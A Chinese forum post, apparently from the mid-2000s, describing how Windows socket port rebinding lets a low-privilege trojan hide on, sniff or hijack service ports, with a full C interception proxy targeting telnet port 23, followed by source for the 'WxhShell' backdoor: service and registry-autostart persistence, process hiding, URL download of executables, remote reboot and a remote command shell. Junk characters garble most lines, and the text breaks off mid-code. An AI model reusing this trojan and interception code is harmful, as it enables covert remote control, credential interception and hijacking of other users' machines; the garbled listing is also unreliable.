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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: & |o V\L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %AuS8'Uf  
H=9\B}  
  saddr.sin_family = AF_INET; %bUpVyi!(  
ZsYT&P2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T k4"qGC.  
[p_C?hHO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =p';y&   
rhvsd2 zi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6T~xjAuJ3T  
S>p>$m, Q  
  这意味着什么?意味着可以进行如下的攻击: DnPV Tp(>  
uc;QSVWGy8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9Uh nr]J.  
tt>=Vt '  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h9J  
S b3@7^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ktKT=(F&  
hC =="4 -  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qT L@N9  
GQ9g$&T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ub] w"N  
V]9 ?9-r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3bPvL/\Lb  
~UJ_Rr54  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KcjP39@I  
lq!l{[Xp  
  #include yS-owtVCGF  
  #include Au/n|15->C  
  #include /1lUFL2D  
  #include    CR$5'#11)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =>6'{32W_  
  int main() 89)rss  
  { #VEHyz6P  
  WORD wVersionRequested; I2'UC) 0  
  DWORD ret; [(N<E/m%B  
  WSADATA wsaData; %fz!'C_4  
  BOOL val; SSF4P&  
  SOCKADDR_IN saddr;  `#lNur\x  
  SOCKADDR_IN scaddr; "L" 6jT  
  int err; p(Q5!3C0q  
  SOCKET s; oa|nQ`[  
  SOCKET sc; kSw.Q2ao  
  int caddsize; ~dK)U*Q  
  HANDLE mt; IPnbR)[%  
  DWORD tid;   &u_f:Pog  
  wVersionRequested = MAKEWORD( 2, 2 ); mko<J0|4  
  err = WSAStartup( wVersionRequested, &wsaData ); qyuU  
  if ( err != 0 ) { .gWYKZM  
  printf("error!WSAStartup failed!\n"); UpS`KgF"v  
  return -1; PGHl:4`Es!  
  } m>6,{g)  
  saddr.sin_family = AF_INET; /wL}+  
   nV%1/e"5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PQ|kE`'  
:_Y@,CpIEg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GV([gs  
  saddr.sin_port = htons(23); igsJa1F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v >71 ?te  
  { rr# &0`]  
  printf("error!socket failed!\n"); pVt8z|p_;{  
  return -1; Hay`lA2@  
  } ?t+Kp 9@aZ  
  val = TRUE; >_]j{}~\k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |}\et ecB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,P<n\(DQ  
  { Kuy,qZv!"  
  printf("error!setsockopt failed!\n"); ^60BQ{ne  
  return -1; iFW)}_.  
  } V Z;ASA?;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oToUpkAI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @%K@oDL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  `' 5(4j  
Llk4 =p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T'l >$6  
  { {ls$#a+d  
  ret=GetLastError(); ^~2GhveBV  
  printf("error!bind failed!\n"); nmVL%66K  
  return -1; { CkxUec  
  } W@1Nit-R  
  listen(s,2); _d&FB~=  
  while(1) 5TVDt  
  { },'2j  
  caddsize = sizeof(scaddr); : \w\K:  
  //接受连接请求 Qd 1Q~PBla  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]dc^@}1bN  
  if(sc!=INVALID_SOCKET) &V[m{.  
  { 2*5Z| 3aX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >v`lsCGb  
  if(mt==NULL) |b52JF ",  
  { >9(lFh0P  
  printf("Thread Creat Failed!\n"); B`} ?rp  
  break; QdL ;|3K9  
  } n97A'"'wz  
  } 9Bl_t}0  
  CloseHandle(mt); Im1e/F]  
  } mh!;W=|/"  
  closesocket(s); aO?(ZL  
  WSACleanup(); |Gb"%5YD  
  return 0; x5k6yHn  
  }   :grJ}i-D  
  DWORD WINAPI ClientThread(LPVOID lpParam) DJ;G0*  
  { INsc!xOQ  
  SOCKET ss = (SOCKET)lpParam; e;56}w  
  SOCKET sc; h84}lxT^]  
  unsigned char buf[4096]; _ pM&Ya  
  SOCKADDR_IN saddr; C$xU!9K[+  
  long num; M& GA:`  
  DWORD val; cTFyF)  
  DWORD ret; r"SuE:D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yK<%AV@v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   utC]GiR  
  saddr.sin_family = AF_INET; JB a:))lw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h&||Ql1  
  saddr.sin_port = htons(23); impzqQlZ,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S,EXc^A7  
  { it!8+hvq9*  
  printf("error!socket failed!\n"); zo&'2I  
  return -1; _H|x6X1-  
  } &)OX*y  
  val = 100; H3}{]&a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0x'>}5`5  
  { HiEXw}Hkz  
  ret = GetLastError(); q-3%.<LL  
  return -1; Funep[rA  
  } X~GnK>R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v&%GK5j7O  
  { ] FvN*@lG  
  ret = GetLastError(); ? r=cLC  
  return -1; )R+@vh#Q<$  
  } P}y}IR{6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^_r8R__S:  
  { .xuLvNyQr  
  printf("error!socket connect failed!\n"); $$2\qN -  
  closesocket(sc); Zi[@xG8dm  
  closesocket(ss); {n=)<w  
  return -1;  z@^l1)m  
  } aHe/MucK  
  while(1) lqa.Nj  
  { a1B_w#?8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0n|op:]BHM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8'_>A5L/C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MOY.$M,1  
  num = recv(ss,buf,4096,0); sXkWs2!  
  if(num>0) 9 W> <m[O  
  send(sc,buf,num,0); 7\'vSHIL  
  else if(num==0) @;M( oFS9  
  break; 9~bje^M  
  num = recv(sc,buf,4096,0); g= k}6"F~  
  if(num>0) [s"3g\L';  
  send(ss,buf,num,0); .{LFc|Z[  
  else if(num==0) hgX@?WWR  
  break; @dV'v{:,  
  } IL?3>$,  
  closesocket(ss); v{^_3 ]  
  closesocket(sc); v_"p)4&'  
  return 0 ; 8MGtJ'.  
  } {3]g3mj  
hWwh`Vw%  
:O)\v!Z  
========================================================== C 2Fklp6  
p#) u2^  
下边附上一个代码,,WXhSHELL V|ax(tHv  
_ro^<V$%  
==========================================================  8Br*  
 ;?1H&  
#include "stdafx.h" 2Otd  
W)ihk\E  
#include <stdio.h> Wo2TU!  
#include <string.h> 8i=J(5=  
#include <windows.h> 2ixg ix  
#include <winsock2.h> B1 oi]hDy  
#include <winsvc.h> :XEP:8  
#include <urlmon.h> q [Rqy !,  
c_<m8b{AEF  
#pragma comment (lib, "Ws2_32.lib") X"YH49?  
#pragma comment (lib, "urlmon.lib") A1zM$ wDU  
*x2+sgSf_0  
#define MAX_USER   100 // 最大客户端连接数 kG/:fP  
#define BUF_SOCK   200 // sock buffer ifl`QZp_  
#define KEY_BUFF   255 // 输入 buffer \dTX%<5D  
lcHw Kd  
#define REBOOT     0   // 重启 rlmzbIu I9  
#define SHUTDOWN   1   // 关机 R<@s]xX_  
M5s>;q)  
#define DEF_PORT   5000 // 监听端口 k{(R.gLZG  
I4:4)V?  
#define REG_LEN     16   // 注册表键长度 "qjkw f)\  
#define SVC_LEN     80   // NT服务名长度 'Ar+k\.J  
>{p&_u.r-  
// 从dll定义API mk8xNpk B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I?LJXo\O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sxIvL7jl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j+"i$ln+s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B *p`e1  
\:9dt8(-U  
// wxhshell配置信息 W\:!v%C  
struct WSCFG { wv>*g:El'  
  int ws_port;         // 监听端口 zD:"O4ZM^^  
  char ws_passstr[REG_LEN]; // 口令 1r;]==  
  int ws_autoins;       // 安装标记, 1=yes 0=no k'E3{8<!  
  char ws_regname[REG_LEN]; // 注册表键名 Mh"DPt9@J  
  char ws_svcname[REG_LEN]; // 服务名 Y m=ihQ|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2jV.\C k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x1</%y5ev  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 56t9h/y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6z=h0,Y}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c[J(H,mt/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A}pmr  
zgRZgVj  
}; ?TA%P6Lw  
;= ^kTb`X  
// default Wxhshell configuration _^;+_6&[  
struct WSCFG wscfg={DEF_PORT, QPB@qx#@  
    "xuhuanlingzhe", U>?q|(u  
    1, }kzGuNj  
    "Wxhshell", a~E@scD  
    "Wxhshell", Qn'Do4Le  
            "WxhShell Service", )Kkw$aQI"d  
    "Wrsky Windows CmdShell Service", Z&9MtpC+N3  
    "Please Input Your Password: ", 1$T;u~vg  
  1, "S)2<tV  
  "http://www.wrsky.com/wxhshell.exe", <qjNX-|  
  "Wxhshell.exe" @q:v?AO  
    }; /8(c^  
~XGBE  
// 消息定义模块 $Wt0e 4YSu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /(Mi2$@v1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f.8Jp<S2K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mW~t/$Y$  
char *msg_ws_ext="\n\rExit."; 5SPhdpIg@[  
char *msg_ws_end="\n\rQuit."; 5Z"IM8?  
char *msg_ws_boot="\n\rReboot..."; G<n(\85X  
char *msg_ws_poff="\n\rShutdown..."; A2>rS   
char *msg_ws_down="\n\rSave to "; s+IU%y/9$a  
vFKX@wV S  
char *msg_ws_err="\n\rErr!"; Otq`45  
char *msg_ws_ok="\n\rOK!"; z-};.!L^  
/orpQUHA  
char ExeFile[MAX_PATH]; +c;/hM<IX.  
int nUser = 0; @a-u_|3q  
HANDLE handles[MAX_USER]; C_xO k'091  
int OsIsNt; WeyH;P=  
[P~6O>a5p  
SERVICE_STATUS       serviceStatus; qYo"-D*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZI.;7G@|  
ZS&>%G  
// 函数声明 ETU.v*HT]  
int Install(void); *FhD%><  
int Uninstall(void); 0kC}qru'  
int DownloadFile(char *sURL, SOCKET wsh); W,<L/ZKJ  
int Boot(int flag); 4Ufx,]  
void HideProc(void); ?4>uGaU\  
int GetOsVer(void); '](4g/%  
int Wxhshell(SOCKET wsl); T,N"8N{K"  
void TalkWithClient(void *cs); fXfBDB  
int CmdShell(SOCKET sock); 4CAV)  
int StartFromService(void); 74f3a|vx/  
int StartWxhshell(LPSTR lpCmdLine); 0-Z sV3I&  
Pf,S`U w;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s&(,_34  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8/q6vk><  
j7r!N^  
// 数据结构和表定义 i T* !3  
SERVICE_TABLE_ENTRY DispatchTable[] = ]j.=zQP?'  
{ j{}-zQ]n  
{wscfg.ws_svcname, NTServiceMain}, { a2Y7\C/  
{NULL, NULL} 4cZig\mE;  
}; 7C~qAI6Eg  
fDe4 [QQ8  
// 自我安装 P(iZGOKUs=  
int Install(void) @L?X}'0xI4  
{ cfZG3 "  
  char svExeFile[MAX_PATH]; KKMzhvf]#  
  HKEY key; QG{).|pm  
  strcpy(svExeFile,ExeFile); iMgfF_r  
r(UEPGu|~l  
// 如果是win9x系统,修改注册表设为自启动  3Ee8_(E\  
if(!OsIsNt) { }m '= _u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oh%kuO T[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $E=t6WvA  
  RegCloseKey(key); aJh=4j~.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x0t&hY>P!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JtB"Dh  
  RegCloseKey(key); D@]gc&JN[  
  return 0; b1X.#pz7F  
    } nq'vq] ]  
  } "= H.$ +  
} >&uG1q0p.  
else { [y^)&L$=  
t<`h(RczHI  
// 如果是NT以上系统,安装为系统服务 In1VW|4h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FN$ hEc!  
if (schSCManager!=0) XD1 x*#  
{ 9`[#4'1Mik  
  SC_HANDLE schService = CreateService wLa^pI4p ^  
  ( bXN-q!  
  schSCManager, &5 *)r@+  
  wscfg.ws_svcname, [w iI  
  wscfg.ws_svcdisp, y&y(<  
  SERVICE_ALL_ACCESS, fX.V+.rj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]>utLi5dX  
  SERVICE_AUTO_START, ZqI.n4:9  
  SERVICE_ERROR_NORMAL, W@S'mxk#*  
  svExeFile, @ mzf(Aq  
  NULL, m~K[+P  
  NULL, HSt|Ua.c/h  
  NULL, |=OO$z;q|  
  NULL, R=D\VIu,Z  
  NULL mtfyhFk  
  ); to0tH^pD  
  if (schService!=0) %9_wDfw~  
  { 0 O{Y Vk`  
  CloseServiceHandle(schService); !;Mh5*-  
  CloseServiceHandle(schSCManager); ?nm:e.S+?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); id^U%4J  
  strcat(svExeFile,wscfg.ws_svcname); )B d`N^k+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FV[6">;g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Dl862$_Q  
  RegCloseKey(key); nMU#g])y)  
  return 0; WY@x2bBi  
    } f;/t7=>d  
  } =k4yWC5-  
  CloseServiceHandle(schSCManager); /Vpd*obMB  
} uO$ujbWZ  
} qZ!1>`B  
\!UNa le  
return 1; Y^)VHE]  
} &77]h%B >  
ivdw1g|)h  
// 自我卸载 _ Ko0  
int Uninstall(void)  FNZB M  
{ _/[n/"gn  
  HKEY key; l<<G". ?  
1B3,lYBM  
if(!OsIsNt) { mB(*)PwZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B0c}5V  
  RegDeleteValue(key,wscfg.ws_regname); i '!M<>7  
  RegCloseKey(key); .?SClTqg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }?P~qJ|1  
  RegDeleteValue(key,wscfg.ws_regname); t\2myR3  
  RegCloseKey(key); }@'xEx  
  return 0; -X@;"0v  
  } /p,D01Ws}(  
} hp(n;(OR  
} {d$S~  
else { X.0/F6U  
,8( %J3J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !DnG)4#  
if (schSCManager!=0) (.,E6H|zI  
{ - Pz )O@ ;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )Jx!VJ^Y  
  if (schService!=0) @ ADY?  
  { u)P$xkf  
  if(DeleteService(schService)!=0) { +DKrX  
  CloseServiceHandle(schService); |Y<ca   
  CloseServiceHandle(schSCManager); [BhpfZNKRA  
  return 0; S&-sl   
  } hoC}@8_  
  CloseServiceHandle(schService); .Jdw:  
  } ?Di, '  
  CloseServiceHandle(schSCManager); ^a`zvrE v  
} Xi5kE'_  
} [ hj|8)  
w8%yX$<  
return 1; F *; +-e  
} +ZXGT  
hBsjO3n  
// 从指定url下载文件 _}]o~  
int DownloadFile(char *sURL, SOCKET wsh) 4\(;}M-R{  
{ Y,D\_il_  
  HRESULT hr; ,Ucb)8a  
char seps[]= "/"; 'D(Hqdr;:  
char *token; n#3y2,Ml  
char *file; pmCBe6n \l  
char myURL[MAX_PATH]; i/xPO  
char myFILE[MAX_PATH]; HqgTu`  
:kZ2N67  
strcpy(myURL,sURL); p!'wOThO`  
  token=strtok(myURL,seps); z@y* jT  
  while(token!=NULL) ]_BG"IR!..  
  { "EpE!jh  
    file=token; 17D167\X  
  token=strtok(NULL,seps); }sy3M rb  
  } sSG]I%oB3  
:yT~.AK}>1  
GetCurrentDirectory(MAX_PATH,myFILE); gb(\c:yg1R  
strcat(myFILE, "\\"); @ x*#7Y  
strcat(myFILE, file);  v )7d  
  send(wsh,myFILE,strlen(myFILE),0); (I.uQP~H  
send(wsh,"...",3,0); Cu;X{F'H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q1dYiG.-Z  
  if(hr==S_OK) <O$'3 _S"D  
return 0; l%Sz6  
else tzpGKhrk6  
return 1; jo<sN  
N 5/TV%u  
} 0'97af  
Wc3!aLNx  
// 系统电源模块 V2/+SvB2  
int Boot(int flag) 6lT'%ho}B  
{ FA{I S0  
  HANDLE hToken; x6DH0*[.  
  TOKEN_PRIVILEGES tkp; =hl-c  
$Z28nPd/  
  if(OsIsNt) { }T c)M_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `"ie57-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =r0!-[XCa  
    tkp.PrivilegeCount = 1; 5!nZvv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @oRYQ|.R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,A6*EJ\w   
if(flag==REBOOT) { `MTOe 1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '&<-,1^L  
  return 0; Zl,K#  
} [q.W!l4E  
else { qE,%$0g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O1#rCFC|y  
  return 0; hChM hc  
} 7DYD+N+T  
  } h y[_  
  else { DBmcvC  
if(flag==REBOOT) { *R~oA`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *fd` .}  
  return 0; E"G. _<3J8  
} W)4xO>ck*3  
else { Y"l!3^   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rkD4}jV  
  return 0; <K\F/`c  
} +V'r >C:  
} },Z -w_H  
BK /;H G  
return 1; v>R.M"f  
} Ej34^*m9k  
a|s=d  
// win9x进程隐藏模块 [\.>BK  
void HideProc(void) gdG: &{|x  
{ ))KsQJ"V  
+$ -#V   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^cAJCbp7  
  if ( hKernel != NULL ) "   c  
  { Ck^=H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1$Hf`h2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (u'/tNGS  
    FreeLibrary(hKernel); wUV%NZB  
  } LB{a&I LG  
8 Zj>|u  
return; 73<iK]*c  
} qJ!oH&/cD  
!<X_XA  
// 获取操作系统版本 ?,8b-U#A1  
int GetOsVer(void) ah<f&2f  
{ r2Z`4tN:  
  OSVERSIONINFO winfo; sNZPv^c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pF !vW  
  GetVersionEx(&winfo); *{Z!m@?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +_}2zc4  
  return 1; 87>Qw,r  
  else Bpp9I;)c  
  return 0; QV 'y6m\  
} w6yeX<!ll  
hWW<]qzA,  
// 客户端句柄模块 'Qfy+_0  
int Wxhshell(SOCKET wsl) y(z U:.  
{ AdYQhF##  
  SOCKET wsh; |$w-}$jq5  
  struct sockaddr_in client; HZ}'W<N  
  DWORD myID; (Z5#;rgem  
UD(#u3z  
  while(nUser<MAX_USER)  Uh8ieb  
{ Q$zlxn 7\  
  int nSize=sizeof(client); vSL{WT]m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h/VYH(Tj  
  if(wsh==INVALID_SOCKET) return 1; ]s S oIT  
2M1mdkP3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ky%%H;  
if(handles[nUser]==0) _t[%@G>P  
  closesocket(wsh); $3Ia+O   
else J|q_&MX/  
  nUser++; 4%7*tVG  
  } n 3]y$wK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =>J#_Pprn  
< KA@A}  
  return 0; ?C{N0?[P-  
} ?n+\T'f!  
`ouzeu9}  
// 关闭 socket %G&v@R  
void CloseIt(SOCKET wsh) pk4&-iu9  
{ HXQ rtJ  
closesocket(wsh); mx4*zj  
nUser--; rY= #^S  
ExitThread(0); jYF3u0 )  
} 8(;i~f:bCW  
3"n8B6  
// 客户端请求句柄 !/zj7z !  
void TalkWithClient(void *cs)  B" z5j  
{ hH/ O2  
?0a 0 R  
  SOCKET wsh=(SOCKET)cs; hdL2`5RFF  
  char pwd[SVC_LEN]; MO/N*4U2  
  char cmd[KEY_BUFF]; }b(e  
char chr[1]; y|se^dn  
int i,j; Hdx|k=-Q^  
(ce NVo&  
  while (nUser < MAX_USER) { zJ`(LnV  
xW4+)F5P(  
if(wscfg.ws_passstr) { Fm':sd)'X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dFFqs&cQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QR'g*Bro  
  //ZeroMemory(pwd,KEY_BUFF); ~=ktFuEa  
      i=0; bYc qscW  
  while(i<SVC_LEN) { HWBom8u0  
5aNDW'z`f  
  // 设置超时 :bDA<B6bb  
  fd_set FdRead; S/;Y4o  
  struct timeval TimeOut; 4vS!99v)  
  FD_ZERO(&FdRead); >6 #\1/RP  
  FD_SET(wsh,&FdRead); ]Dg0@Y  
  TimeOut.tv_sec=8; E}=NZqOB!  
  TimeOut.tv_usec=0; ^nF$<#a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UGt7iT<`8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !?/bK[ P,  
Uzn|)OfWP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QO/7p]$_  
  pwd=chr[0]; \[EWxu  
  if(chr[0]==0xd || chr[0]==0xa) { {Xd5e@:Js  
  pwd=0; 5.#9}]  
  break; >}*jsqaVU  
  } l)s+"C#  
  i++; X~3P?O]kFv  
    } "n, ZP@M;  
Wp3l>:  
  // 如果是非法用户,关闭 socket SGd.z6"H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pe})A  
} Q{hOn]"  
iXRt9)MT{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VAE?={-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x^2/jUc#B  
`h!&->  
while(1) { Zr;=p"cXr  
Y{|yB  
  ZeroMemory(cmd,KEY_BUFF); q:EQ,  
B [ ka@z7  
      // 自动支持客户端 telnet标准   s.)w A`&&  
  j=0; T+h{Aeg  
  while(j<KEY_BUFF) { FF~4y>R7u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); neFno5dj  
  cmd[j]=chr[0]; O Zm[i H  
  if(chr[0]==0xa || chr[0]==0xd) { D  .R  
  cmd[j]=0; s'Gy+h.  
  break; }{oBKm9_p  
  } i6 ?JX@I  
  j++; guXpHF=  
    } {OrE1WHB  
RsfT Ub)<  
  // 下载文件 5udoZ >T  
  if(strstr(cmd,"http://")) { F$ p*G][  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^X%4@,AE  
  if(DownloadFile(cmd,wsh)) d}cJ5 !d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ldvxYq<:  
  else K0=E4>z,`q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jjh!/pWZ4  
  } &"%|`gE  
  else { 1/+r?F 3  
R6mJFE*6T9  
    switch(cmd[0]) { Vzvw/17J  
  'OW"*b  
  // 帮助 8z8SwWS?  
  case '?': {  .OS?^\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )}\@BtcjA]  
    break; )ZyuF(C&  
  } VhIIW"1  
  // 安装 gD+t'qg$  
  case 'i': { 59BHGvaF  
    if(Install()) c$:=d4t5$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pt0}9Q  
    else (G%gVk]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s{J!^q  
    break; WTv\HI2X !  
    } @/NZ>.  
  // 卸载 i=H>D  
  case 'r': { NZW)X[nXM  
    if(Uninstall()) :42;c:85  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mqf}Aiqk;  
    else '=G Ce%A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cYy @  
    break; A<CXdt+t  
    } x&oBO{LNK,  
  // 显示 wxhshell 所在路径 ^_h7!=W  
  case 'p': { wK`ieHmp  
    char svExeFile[MAX_PATH]; R6Z}/m  
    strcpy(svExeFile,"\n\r"); M #=5u`h  
      strcat(svExeFile,ExeFile); ~2DV{dyj  
        send(wsh,svExeFile,strlen(svExeFile),0); a;T[%'in  
    break; y{I[}$k  
    } 2$W,R/CLh  
  // 重启 8Pr7aT:,  
  case 'b': { #L= eK8^e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [d~bZS|(T(  
    if(Boot(REBOOT)) bok 74U]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yP9wYF^A\  
    else { }d\Tk(W  
    closesocket(wsh); f3>6:(  
    ExitThread(0); xXxh3 k\  
    } g74z]Uj.B  
    break; }%FuL5Tx  
    } 4|41^B5Y  
  // 关机 LI;EfyL  
